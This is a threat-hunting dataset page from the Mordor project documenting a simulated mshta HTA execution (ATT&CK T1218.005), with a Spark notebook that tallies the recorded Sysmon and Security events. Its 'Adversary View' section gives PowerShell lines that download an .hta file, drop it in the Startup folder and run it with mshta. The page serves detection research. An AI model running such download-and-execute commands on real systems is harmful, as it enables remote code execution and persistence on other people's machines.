Mshta HTML Application (HTA) Execution¶

Metadata¶


Author	Roberto Rodriguez @Cyb3rWard0g
Creation Date	2020/10/22
Modification Date	2020/10/22
Tactics	[‘TA0005’]
Techniques	[‘T1218.005’]
Tags	[‘art.c4b97eeb-5249-4455-a607-59f95485cb45’]

Dataset Description¶

This dataset represents threat actors leveraging mshta.exe to proxy execute malicious commands via an .hta file.

Datasets Downloads¶

Dataset Type	Link
Host	https://raw.githubusercontent.com/OTRF/mordor/master/datasets/small/windows/defense_evasion/host/psh_mshta_html_application_execution.zip

Notebooks¶

Notebooks created by the community leveraging the mordor datasets

Author	Name	Link

Simulation Plan¶

Environment	Tool Type	Module
Lab VM	Manual	PowerShell

Adversary View¶

$var =Invoke-WebRequest "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1218.005/src/T1218.005.hta"
$var.content|out-file "$env:appdata\Microsoft\Windows\Start Menu\Programs\Startup\T1218.005.hta"
mshta "$env:appdata\Microsoft\Windows\Start Menu\Programs\Startup\T1218.005.hta"

Explore Mordor Dataset¶

Initialize Analytics Engine¶

from openhunt.mordorutils import *
spark = get_spark()

Download & Process Mordor File¶

mordor_file = "https://raw.githubusercontent.com/OTRF/mordor/master/datasets/small/windows/defense_evasion/host/psh_mshta_html_application_execution.zip"
registerMordorSQLTable(spark, mordor_file, "mordorTable")

[+] Processing a Spark DataFrame..
[+] DataFrame Returned !
[+] Temporary SparkSQL View: mordorTable 

Get to know your data¶

df = spark.sql(
'''
SELECT Hostname,Channel,EventID, Count(*) as count
FROM mordorTable
GROUP BY Hostname,Channel,EventID
ORDER BY count DESC
'''
)
df.show(truncate=False)

+------------+------------------------------------+-------+-----+
|Hostname    |Channel                             |EventID|count|
+------------+------------------------------------+-------+-----+
|WORKSTATION5|Microsoft-Windows-Sysmon/Operational|10     |511  |
|WORKSTATION5|Microsoft-Windows-Sysmon/Operational|7      |446  |
|WORKSTATION5|Microsoft-Windows-Sysmon/Operational|12     |197  |
|WORKSTATION5|Security                            |4658   |100  |
|WORKSTATION5|Microsoft-Windows-Sysmon/Operational|13     |85   |
|WORKSTATION5|Security                            |4656   |51   |
|WORKSTATION5|Security                            |4690   |49   |
|WORKSTATION5|Security                            |4663   |46   |
|WORKSTATION5|Microsoft-Windows-Sysmon/Operational|9      |19   |
|WORKSTATION5|Security                            |4688   |7    |
|WORKSTATION5|Microsoft-Windows-Sysmon/Operational|1      |7    |
|WORKSTATION5|Microsoft-Windows-Sysmon/Operational|11     |6    |
|WORKSTATION5|Microsoft-Windows-Sysmon/Operational|5      |4    |
|WORKSTATION5|Security                            |5158   |4    |
|WORKSTATION5|Security                            |4689   |4    |
|WORKSTATION5|Security                            |4673   |3    |
|WORKSTATION5|Security                            |5156   |3    |
|WORKSTATION5|System                              |104    |2    |
|WORKSTATION5|Security                            |4672   |1    |
|WORKSTATION5|Security                            |4624   |1    |
+------------+------------------------------------+-------+-----+
only showing top 20 rows

Mshta VBScript Execute PowerShell Empire Over-Pass-The-Hash